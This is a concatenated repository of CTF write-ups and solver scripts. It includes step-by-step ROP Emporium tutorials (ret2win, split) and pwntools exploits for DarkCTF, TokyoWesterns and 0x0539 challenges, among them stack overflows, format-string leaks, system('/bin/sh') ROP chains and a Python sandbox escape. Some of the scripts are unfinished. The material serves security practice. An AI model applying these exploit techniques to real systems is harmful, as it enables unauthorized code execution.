- Wrting to an address regarding the write permission in the section *==>* [Tutorial](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/write4)
[ROP Emporium](https://ropemporium.com/) pwn challenges solves and tutorial.

<file_sep>/0x0539/AES2.0/tsolve.py
import time
from chall import d, gks
with open("flag.jpeg.enc", "rb") as f:
data = f.read()
f.close()
def egcd(a, b):
if a==0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b//a), y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception("Mod does not exist")
return x%m
class dPRNG:
def __init__(self,state,A,B):
self.s0 = 0
self.si = state
self.A = A
self.B = B
self.m = 0xfff1
def next(self):
if self.s0 == 0:
self.s0 = 1
return self.si
ni = ((self.A * self.si + self.B) + 1337) % self.m
self.si = ni
return ni
def dgks(l, state, A, B):
ks = ""
gen = dPRNG(state,A,B)
for x in range((l / 2)+1):
ks += hex(gen.next())[2:].rjust(4,"0")
return ks.decode('hex')[:l]
state1 = 0xffd8^0xec2b
state2 = 0xffe0^0xdcc2
state3 = 0x0010^0xc0a7
state4 = 0x4a46^0x6534
state5 = 0x4946^0xb550
m = 0xfff1
A = 0x8205
B = 0xbc1d
k = dgks(len(data), state1, A, B)
decs = d(data,k)
with open("flag.jpeg", "wb") as f:
f.write(decs)
f.close()
exit()
# (A * state1 + B + 1337) % m == STATE2
# (A * state4 + B + 1337) % m == STATE5
# A * state1 + B + 1337 = state2 + n * 0xFFF1
# A * 0x13f3 + B + 1337 = 0x2322 + n(i) * 0xFFF1 # eq1
# A * 0x2f72 + B + 1337 = 0xfc16 + n(i+1) * 0xFFF1 # eq2
# A * 0xc0b7 + B + 1337 = 0x2f72 + n(i+3) * 0xFFF1 # eq3
# A = (invmod(state5)-invmod(state2))/(state4-state1)
# A = (range() - range())/(state4-state1)
# find state5
T = time.time()
for i in range(0x10000):
print "\r " + str(time.time()-T),
T = time.time()
for j in range(0x10000):
k = gks(10, state1, i, j)
p = d(data[10], k)
if "JFIF" in p:
print("Found!")
print(i, j)
exit()
exit()
i = 0
STATE5 = state5
while 1:
STATE5 = STATE5+(i*m)
if STATE5%(state4-state1) == 0:
print("Found state5!")
STATE5 = ()
break
sys.write("\r" + str(hex(STATE5)))
i=0
STATE2 = state2
while 1:
STATE2 = STATE2+(i*m)
if STATE2%(state4-state1) == 0:
print("Found state2!")
break
print("calculating")
A = (STATE5-STATE2)/(state4-state1)
B = STATE2 - (A*state1 + 1337)
print("A", A, "B", B)
kal = 0
c = data
<file_sep>/darkCTF/roprop/README.md
# roprop writeup From DarkCTF
Leaking libc addresses using a buffer offer from the plt.got table, jumping back to main, then executing one_gadget.
## notes:
Had to use a one gadget `execve` remotely on libc.
## how?
After leaking two addresses, we can determine the libc version from: [libc databases](https://libc.blukat.me/).
## exploit:
python script using pwntools.
<file_sep>/ropemporium/split/README.md
# 2 split
in this challenge we try to call system("/bin/cat flag.txt") but this time we have to pass the string to the function.
[Challenge link](https://ropemporium.com/challenge/split.html) using 64-bit.
## Understanding
in this challenge we redirect execution just like the previous challenge, except that we chain multiple address instead of just one by redirecting just before `ret` instruction to call addresses from the stack multiple times, first is to load the address of an argument of `system`, second is to load a string address (system arg) `"/bin/cat flag.txt"` and the third is to `system` address.
## Objective
1. find pattern length (same as previous [challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win)).
2. find how system takes an argument.
3. find system and the string to be executed.
4. find a way to load the string address into a register that's passed as an argument and that triggers `ret` right after.
5. chain the ropes.
6. exploit.
## Understanding system() function
we can check manual:
```
$ man system
```
```
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
DESCRIPTION
The system() library function uses fork(2) to create a child process
that executes the shell command specified in command using execl(3) as
follows:
execl("/bin/sh", "sh", "-c", command, (char *) NULL);
system() returns after the command has been completed.
During execution of the command, SIGCHLD will be blocked, and SIGINT and
SIGQUIT will be ignored, in the process that calls system(). (These
signals will be handled according to their defaults inside the child
process that executes command.)
If command is NULL, then system() returns a status indicating whether a
shell is available on the system.
```
this tells us the system take a string as an argument and execute it, example:
```
system("echo hello");
system("ls");
```
* how system is executed
we can use the binary from the previous challenge `ret2win`, inside that binary there was a function also called `ret2win` and inside this function it was calling `system("/bin/cat flag.txt")
we'll see how it called the argument.
if we disassemble ret2win using `disass ret2win` we'll see this:
```
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
=> 0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
```
before calling system it's moving the address `0x400943` to `edi` in:
`=> 0x0000000000400764 <+14>: mov edi,0x400943`
let's examine and check what `0x400943` contains:
```
gef➤ x/s 0x400943
0x400943: "/bin/cat flag.txt"
```
as we can see it the string
so inside `ret2win` it was calling `system("/bin/cat flag.txt")`
Now we know that `edi` is `system` argument
so:
`load string address to edi`
`jump to system`
system will do its magic and execute the string.
* what instructions we need:
after following same way to know how many bytes (characters) we need for the pattern before the return address:
the only part we control is the stack, so the instructions we need must be using the stack.
`we don't need to worry about writing to the stack cause read function handle that for us (check precious challenge for read that takes input and load it to the stack).`
1. we need an instruction that load from the stack to a register, in this case rdi (which is edi, edi==>32bit lower part from rdi):
- the part we need get from the stack is the address of the string "/bin/cat flag.txt"
- we can use the instruction [pop](https://c9x.me/x86/html/file_module_x86_id_248.html) that load what ever in the stack into a register or an address
- so we need to pop rdi (get address from stack and put it in rdi/edi).
2. we need to execute system.
- we can search for an address where system is called.
* finally:
roping all that together for our payload to look:
`pattern + pop_rdi_addr + bin_cat_string_address + system_call_address`
`pattern is 40 ==> pattern = "A"\*40`
## Recon
same as previous [challenge](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win)
running `readelf -s split` you'll notice a function called `usefulFunction` which calls `system`
- Note
if you do the same as the last video and return to that function you'll receive the output of ls, which lists the current directory files and folders
we need to make it read the flag.txt instead using /bin/cat flag.txt string
## Execution
* using gdb to examine the addresses we need.
1. finding the address system inside `usefulFunction`
```
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
```
system is being called at `0x000000000040074b`
`system address = 0x000000000040074b`
2. find the address of `pop rdi`:
we're looking for an address in the program that executes instruction as follow:
```
pop rdi
ret
```
to find that instruction address you can use [radare2](https://github.com/radareorg/radare2):
run the file in radare2
```
$ r2 split
```
to find all th:
```
[0x004005b0]> /R pop rdi;ret
0x004007c3 5f pop rdi
0x004007c4 c3 ret
```
`radare2` has found an address of the instruction for us and the address is `0x004007c3`
so:
`pop_rdi_address = 0x004007c3`
3. find the string `/bin/cat flag.txt` in the binary:
to do so, inside gdb we simply run `grep "/bin/cat flag.txt"`:
```
gef➤ grep "/bin/cat flag.txt"
[+] Searching '/bin/cat flag.txt' in memory
[+] In '/home/kali/CTFs-writeups/ropemporium/split/split'(0x601000-0x602000), permission=rw-
0x601060 - 0x601071 → "/bin/cat flag.txt"
```
- Note:
this command only run if you have [gef](https://github.com/hugsy/gef) installed and program should be running, otherwise you'll have to check `$ info proc map` to find the address range and then in gdb `gdb> find 0xSTARTADDRESS,0xENDADDREES,"/bin/cat flag.txt"`
so:
`string_address = 0x601060`
## Writing exploit
in a file called [exploit.py](https://github.com/l0x539/CTFs-writeups/blob/master/ropemporium/split/exploit.py)
again, using [pwntools](http://docs.pwntools.com/en/stable/) on python3.
* Imports:
```python3
from pwn import process, p64
```
* Setting variables:
```python3
pop_rdi_ret = p64(0x4007c3) # pop rdi; ret instruction address
bin_cat_flag = p64(0x601060) # /bin/cat flag.txt address
_system = p64(0x40074b) # system call address
```
* Running file:
```python3
p = process("./split")
```
* Receiving output:
```python3
print(p.recvuntil("> ").decode("latin-1"))
```
* Crafting the payload:
```python3
payload = b"A"*40
payload += pop_rdi_ret
payload += bin_cat_flag
payload += _system
```
* Sending the payload:
```python3
p.sendline(payload)
```
* Receving and printing:
```python3
print(p.clean().decode("latin-1"))
```
* Running the script:
```
$ python3 exploit.py
[+] Starting local process './split': pid 22483
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
>
Thank you!
ROPE{a_placeholder_32byte_flag!}
```
And we got the flag!
<file_sep>/CSAW2020/modus_operandi/solver.py
#!/usr/bin/env python3
from pwn import *
p = remote("crypto.chal.csaw.io", 5001)
while 1:
p.sendline("A"*32)
print(p.recvuntil("Ciphertext is: "))
resp = p.recvline().decode("latin-1").strip()
print(resp)
print(p.recvuntil("ECB or CBC?"))
if resp[:32] == resp[32:64]:
p.sendline("ECB")
else:
p.sendline("CBC")
print(p.clean())
<file_sep>/0x0539/AES2.0/chall.py
import sys
import string
class PRNG:
def __init__(self,state,A,B):
self.si = state
self.A = A
self.B = B
self.m = 0xfff1
def next(self):
ni = ((self.A * self.si + self.B) + 1337) % self.m
self.si = ni
return ni
def gks(l, state, A, B):
ks = ""
gen = PRNG(state,A,B)
for x in range((l / 2)+1):
ks += hex(gen.next())[2:].rjust(4,"0")
return ks.decode('hex')[:l]
def e(pl,k):
try:
bi = ""
res = ""
for i in range(0,len(pl)):
c1 = (bin(ord(pl[i]))[2:]).rjust(8,"0")
c2 = (bin(ord(k[i]))[2:]).rjust(8,"0")
for j in range(0,8):
bi+=str((int(c1[j]) + int(c2[j])) % 2) # XOR
while not bi == "":
b = chr(int(bi[:8].rjust(8,"0"),2))
bi = bi[8:]
res+=b
return res
except:
return
def d(ct,k):
return e(ct,k)
def main():
if len(sys.argv) == 2:
f = open(sys.argv[1],"rb").read()
k = gks(len(f))
enc = e(f,k)
open(sys.argv[1]+".enc", "wb").write(enc)
else:
print "Usage: python chall.py image.jpeg"
if __name__ == '__main__':
main()
<file_sep>/0x0539/LuckyFeelingFixed/testtime.py
import time
import datetime
import requests
d = time.time()
r = requests.get('http://challenges.0x0539.net:3003/')
year = 2020
month = 7
day = 23
ad = r.headers['Date'].split(', ')[1].split(' ')[3].split(':')
hour = int(ad[0])
minutes = int(ad[1])
secondes = int(ad[2])
now = datetime.datetime(year, month, day, hour, minutes, secondes)
print(now.timestamp(), d)
print(now.timestamp()- d)
print(now)
<file_sep>/ropemporium/ret2win/README.md
# 1 Ret2win
In this challenge you have to redirect execution to a function called ret2win
[challenge link](https://ropemporium.com/challenge/ret2win.html) using 64-bit binary.
## Understanding
In this challenge, we try to redirect the execution by inputing a malicious pattern (characters) in an input field that the running program asks for
## Recon
* First thing to do was to check the file:
```
$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
```
As we see it's a 64 bit binary, not stripped.
* Second thing was to check the binary security:
```
$ checksec ret2win
[*] '/home/kali/Documents/CTFs/ropemporium/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
`No canary found` means that the there is no check on the stack before `RET` instruction (returning from a function).
`No PIE` means that the address won't change on each execution (position-independent executable is off).
* Last we can check the symbols to see the functions that this binray is calling including `main` and the function we're targetting `ret2win`, to do that we can use `readelf`
```
$ readelf -s ret2win | grep FUNC
```
`FUNC` cause we're only insterested in functions.
you'll see a lot of output but we're interested in these:
```
35: 00000000004006e8 110 FUNC LOCAL DEFAULT 13 pwnme
36: 0000000000400756 27 FUNC LOCAL DEFAULT 13 ret2win
```
`pwnme` is the function inside main that gets called, for example:
```
int main() {
pawnme();
}
```
and `ret2win` is the target.
## Execution
Running the programs gives a string and then asks for input from the user
```
$ ./ret2win
ret2win by ROP Emporium
x86_64
* For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
>
```
* Passing a long string gives a Seg Fault (segmentation fault), mean that this binary is exploitable:
```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault
```
(Or)
```
$ python3 -c "print('A'*100)" | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Segmentation fault
```
* Now we have to determine how many characters does it take to overflow and check the function that handled the user input.
by running strace we see that it's making a call to a function (read)
```
$ strace ./ret2win
...
read(0, "\n", 56)
...
```
By looking at read manual `$ man read` we see that read() function takes 3 arguments and the third one is `size_t count` (attempts to read up to `count` bytes)
```
...
SYNOPSIS
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
DESCRIPTION
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
...
```
In our case `count` is `56`
However, even that count is `56`, the maximum characters before hitting a seg fault is instead `40` (`40 + 16 = 50` we'll see later why).
Now we need to jump to gdb.
* Running gdb to examine the binary:
```
$ gdb -q ./ret2win
gef➤
```
I used [gef](https://github.com/hugsy/gef) on gdb, cause it helps giving more output inside gdb, and you don't have to keep defining functions to call etc..
Disassembling main function:
```
gef➤ disass main
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009b6] # 0x601058 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x400808
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x400820
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400828
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
0x00000000004006e7 <+80>: ret
End of assembler dump.
```
by examining the code, you can see it's making a call to `pwnme` function and it's not doing much.
let's check that function:
```
gef➤ disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
```
here you'll notice the call to the read function at the address `0x0000000000400744`
let's set a breakpoint at that address to see what's happening
```
gef➤ b \*0x0000000000400744
Breakpoint 1 at 0x400744
```
and then run our program
```
gef➤ r
```
once you run, it'll print the usual prompt and then hit the breakpoint before right calling `read` function.
now before we call the read function we need to create a pattern, you can do that in `gdb`:
```
gef➤ pattern create 70
[+] Generating a pattern of 70 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaa
[+] Saved as '$\_gef0'
```
i used 70 which generates that number of characters, and `70 > 56 > 40`. make sure you copy that pattern `aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaa`.
now you can check the stack to see the difference with later by typing
```
gef➤ x/1gx $rsp
```
`x/1gx` gives the content of the address which the stack pointer in this case `$rsp`
before `/`
`x` for examine memory
after `/`
`g` for double word (cause the file is 64 bit)
`x` for hexadecimal
type `si` and then `fin` to call `read` (`si` one instruction further) and (`fin` go back from call function).
```
gef➤ si
...
gef➤ fin
Run till exit from #0 0x0000000000400596 in read@plt ()
```
Now it will ask for your input inside gdb, paste the pattern you copied earlier and type enter.
```
Run till exit from #0 0x0000000000400596 in read@plt ()
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaa
```
let's examine the stack again
```
gef➤ x/1gx $rsp
0x7fffffffe030: 0x6161616161616161
```
you'll notice it's different this time and if you're familliar with the `ASCII` table you're notice that `0x6161616161616161` is `aaaaaaaa` but in hex.
let's check:
```
gef➤ x/1s $rsp
0x7fffffffe030: "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa\v\216\341\367\377\177"
```
that's our pattern, in the stack, which means that calling `read` function reads input from the user and loads it to the stack.
this time we used `s` instead of `gx` cause we need to print it as `string` (`s`).
let's continue the execution.
```
gef➤ c
```
we receive a `SIGSEGV` which is a segmentation fault.
again let's run the program and this time set the break point at `ret` instruction.
so:
```
gef➤ disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
=> 0x0000000000400755 <+109>: ret
End of assembler dump.
```
set break point at `ret` (last line, see above)
```
gef➤ b *0x0000000000400755
Breakpoint 2 at 0x400755
```
and run
```
gef➤ r
```
we will hit the first break point before calling `read`
so let's continue untill it hits `ret` breakpoint
```
gef➤ c
```
*it will wait for input again, so paste the same pattern from before and hit enter.*
now we're right before executing `ret` instruction.
we can check by typing:
```
gef➤ x/i $rip
=> 0x400755 <pwnme+109>: ret
```
`x` for examine memory.
`i` for instruction.
`ip` instruction pointer (r for 64-bit)
as we can see we're about to execute ret instruction.
we need to see what rsp is pointing to (stack pointer)
```
Note:
to redirect the execution, we exploit how ret instruction works.
when the program hit ret instruction in the execution, it jumps to
whatever address is pointed to by rsp (stack pointer) and it
executes from there
copy $rsp (stack pointer) ==to=> $rip (instruction pointer)
```
* Let's check the stack:
```
gef➤ x/gx $rsp
0x7fffffffe058: 0x6161616161616166
```
or
```
gef➤ x/s $rsp
0x7fffffffe058: "faaaaaaagaaaaaaa\v\216\341\367\377\177"
```
you'll notice now that the stack pointer now is not pointing to the begining of the pattern we passed, but instead to `0x6161616161616166` which is `faaaaaaa`
Now we know why there was a segmentation fault!
Its because the program was trying to jump to the address `0x6161616161616166` but this address is invalid so it gives an error instead.
so if we replace `faaaaaaa` by `BBBBBBBB` in the pattern that we passed it will point to `BBBBBBBB` which is `0x4242424242424242` instead. in other words, if we somehow pass a valid address, it will jump to that valid address, in our case we wanna jump to an address called `ret2win`.
let's examine `ret2win` address
```
gef➤ print ret2win
$1 = {<text variable, no debug info>} 0x400756 <ret2win>
```
ret2win address is `0x400756`.
so we can now send `Pattern + 0x400756` and to jump to that address.
to calculate the pattern offset before the return address we use gdb pattern so:
```
gef➤ pattern search faaaaaaa
[+] Searching 'faaaaaaa'
[+] Found at offset 33 (little-endian search) likely
[+] Found at offset 40 (big-endian search)
```
in our case it's `40` so `'A'*40 + 0x400756`, where `0x400756` is ret2win address
but first we need a way to convert that address, just like `0x6161616161616166` is `faaaaaaa`, we can't just paste it from the keyboard.
there is python tool for that, that can help us convert and interact with the binary called [pwntools](http://docs.pwntools.com/en/stable/) which we gonna use.
`Pattern = 40`
`ret2win address = 0x400756`
we can close gdb now
```
gef➤ q
$
```
## Writing the exploit:
* Using pwntools:
in a file we call [exploit.py](https://github.com/l0x539/CTFs-writeups/blob/master/ropemporium/ret2win/exploit.py) and using python3.
first we import:
```python3
from pwn import process, p64
```
`process` to run the file
`p64` to convert the address to latin-1 big-endian
opening and running the file with pwn.
```python3
# one line, great tool
p = process("./ret2win")
```
we craft the payload:
```python3
payload = b"A"*40 # generating 40 characters
payload += p64(0x400756) # adding the converted ret2win address to the end
```
we recive the output from program until it asks for input:
```python3
print(p.recvuntil("> ").decode("latin-1")) # receiving
```
we send the payload that we crafted
```python3
p.sendline(payload)
```
we receive everything:
```python3
print(p.clean().decode("latin-1"))
```
running the script:
```
$ python3 exploit.py
[+] Starting local process './ret2win': pid 21022
b"ret2win by ROP Emporium\nx86_64\n\nFor my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!\nWhat could possibly go wrong?\nYou there, may I have your input please? And don't worry about null bytes, we're using read()!\n\n> "
Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
```
we got the flag by redirecting execution!
we can also also gain a shell instead of just calling that function, we'll learn that in next challenges.
<file_sep>/0x0539/LuckyFeelingFixed/README.md
# Lucky Feeling (Fixed)
In this challenge we exploit how `mt_rand` works in some older php versions `5.x.x/7.0x`
[Link](http://challenges.0x0539.net:3003/)
## Exploiting
This challenge require couple tries using the next scripts
I solved it in a way, even that my first understanding was wrong, so i had a slight different approach, which is trying to sync attack time with the server, and try predict future values from `mt_rand`.
### `mt_rand` vulnerability
`mt_rand` through an error if `min > max` however that's prevented in our case and can't be exploited this way
`mt_rand` also return NULL if `max > PHP_INT_MAX` but that's also prevented
Type juggling could've been possible too since '>=' and '==' are used everywhere is this code, but it cannot be exploited in this challenge.
However, if we chack the response header
```
HTTP/1.1 200 OK
Date: Fri, 24 Jul 2020 05:49:53 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 398
Connection: close
Content-Type: text/html; charset=UTF-8
```
it's running `PHP/5.6.31`
* Playing with `mt_rand`
messing with `mt_rand` showed that when passing a large number close to `PHP_INT_MAX`
```php
$round = 9223372036854775806;
```
```php
php> var_dump(decbin(mt_rand(1,$round)));
string(63) "111101101110110001110101101000100000000000000000000000000000001"
```
As you can see first bits are not randomized
* `srand`:
if you solved the previous `Lucky Feeling` challenge you'll know that this can be predicted
```php
srand(time());
$rnd = rand();
```
* Partially Predicting `$rand &= mt_rand(1,$round)`
if you chose two intervals of n times, you'll notice that the random values can be predicted sometimes.
means that we can guess the values that are whether 0 or 1.
### Exploiting:
- using python3 [exploit.py](https://github.com/l0x539/CTFs-writeups/tree/master/0x539/LuckyFeelingFixed/exploit.py)
running the script:
```
$ python3 exploit.py
This took: 0.5889356136322021 secondes
PHPSESSID 952b6844ba2df2432840125efbda4340
offset: 14401
stamp: 1595586503
Go predict => 1595586533
[R,]>
```
- using [predict.php](https://github.com/l0x539/CTFs-writeups/tree/master/0x539/LuckyFeelingFixed/predict.php)
```php
$pred = 1595525213; // predict variable
```
TBA
<file_sep>/darkCTF/HelloWorld/README.md
# Hello World from darkArmy
reversing the binary and retreiving the flag.
## Solving:
setting breakpoint on gdb before each strcmp.
we get
`H3ll0 W0rld`
## Flag
`darkCTF{4rgum3nts_are_v3ry_1mp0rt4nt!!!}`
<file_sep>/tokyo/smash/:
#!/usr/bin/env python3
from pwn import *
_FILE = "./smash"
binary = context.binary = ELF(_FILE, checksec=False)
env = {"LD_PRELOAD": ""} #"./libc-2.31.so"}
if args.GDB:
p = gdb.debug(_FILE, gdbscript="\nc\n", env=env)
elif args.REMOTE:
p = remote("pwn01.chal.ctf.westerns.tokyo", 29246)
else:
p = process("./run.sh", env=env)
_LIBC = ELF("./libc-2.31.so", checksec=False) if args.REMOTE else binary.libc
p.recvuntil("Input name > ")
p.sendline("sh -c sh "+"%p."*7)
leaks = p.recvuntil("OK?").decode("latin-1").split("\n")[0].split(".")[:-1]
print(leaks)
main_libc_addr = int(leaks[-1][2:], 16)
main_addr = int(leaks[6][2:], 16)-0xd
#_LIBC.address = (main_libc_addr - 250+8) - _LIBC.sym["__libc_start_main"]
print(leaks[0])
heap_leak = int(leaks[0].split("-c sh ")[1][2:], 16)
#log.info(f"libc addr {hex(_LIBC.address)}")
log.info(f"heap leak {hex(heap_leak)}")
log.info(f"main addr {hex(main_addr)}")
#system = _LIBC.sym["system"]
p.recvuntil("[y/n] ")
p.sendline(b"y")
p.recvuntil("Input message > ")
input("ready?")
log.info(f"sending {hex(heap_leak+0x30-40)}")
p.sendline(p64(main_addr)+ cyclic(40, n=8) + p64(heap_leak+16) + cyclic(1000, n=8)) #(p64(_LIBC.address + (0xe6ce6 if args.REMOTE else 0xcda5d))+ cyclic(40, n=8) + p64(heap_leak+0x30-40) + cyclic(1000, n=8)) #p64(main_addr)*(48//8) + p64(heap_leak+0x30)*100)
p.interactive()
<file_sep>/hacktivity/README.md
# HacktivityCon CTF 2020
## Binary Exploitation Challenges [Pwn](https://github.com/l0x539/CTFs-writeups/tree/master/hacktivity/pwn)
1. Pancakes: 75 points
2. Almost: 100 points
3. Static And Dynamic: 100 points
4. Bulls eye: 150 points
<file_sep>/darkCTF/pynotes/exploit.py
#!/usr/bin/env python3
from pwn import *
from time import sleep
p = remote("pynotes.darkarmy.xyz", 32769)
def encode_payload(payload: str):
return "".join([chr(ord(x)+0x1d3b9) if x.isalpha() else x for x in payload])
sleep(2)
p.sendline("\n")
p.clean()
payload = """
print(1)
im\x00port o\x00s
print(1)
o\x00s.sy\x00stem('echo hi')
"""
print(encode_payload(payload))
p.sendline(payload)
p.sendline('\nDARKCTF\n')
p.interactive()
<file_sep>/tokyo/smash/exploit.py
#!/usr/bin/env python3
from pwn import *
_FILE = "./smash"
binary = context.binary = ELF(_FILE, checksec=False)
env = {"LD_PRELOAD": ""} #"./libc-2.31.so"}
offset = 242 # 231 on glibc 2.27
one_gadget = 0xcda5a
if args.GDB:
p = gdb.debug(_FILE, gdbscript="\nc\n", env=env)
elif args.REMOTE:
offset = 243
one_gadget = 0xe6ce3
p = remote("pwn01.chal.ctf.westerns.tokyo", 29246)
else:
p = process(_FILE, env=env)
#p.recvuntil("(gdb) prompt")
#print(p.recvline())
#print(p.clean())
_LIBC = ELF("./libc-2.31.so", checksec=False) if args.REMOTE else binary.libc
p.recvuntil("Input name > ")
p.sendline("sh -c sh "+"%p"*10)
leaks = p.recvuntil("OK?").decode("latin-1").replace("(nil)", "0x0").split("\n")[0].split("-c sh")[1].split("0x")[1:]
print(leaks)
main_libc_addr = int(leaks[-2], 16)
_LIBC.address = (main_libc_addr - offset) - _LIBC.sym["__libc_start_main"]
print(leaks[0])
main_addr = int(leaks[6], 16)
heap_leak = int(leaks[0], 16)
stack_leak = int(leaks[5], 16)
log.info(f"libc addr {hex(_LIBC.address)}")
log.info(f"heap leak {hex(heap_leak)}")
log.info(f"main addr {hex(main_addr)}")
log.info(f"stack leak {hex(stack_leak)}")
system = _LIBC.sym["system"]
log.info(f"system {hex(system)}")
p.recvuntil("[y/n] ")
p.sendline(b"y")
p.recvuntil("Input message > ")
input("ready?")
rop = ROP(_LIBC)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
binsh = next(_LIBC.search(b"/bin/sh"))
log.info(f"sending {hex(heap_leak+0x30-40)}")
#p.sendline(p64(pop_rdi) + p64(binsh) + p64(_LIBC.sym["system"]) + p64(main_addr)*3 + p64(stack_leak-0x68))
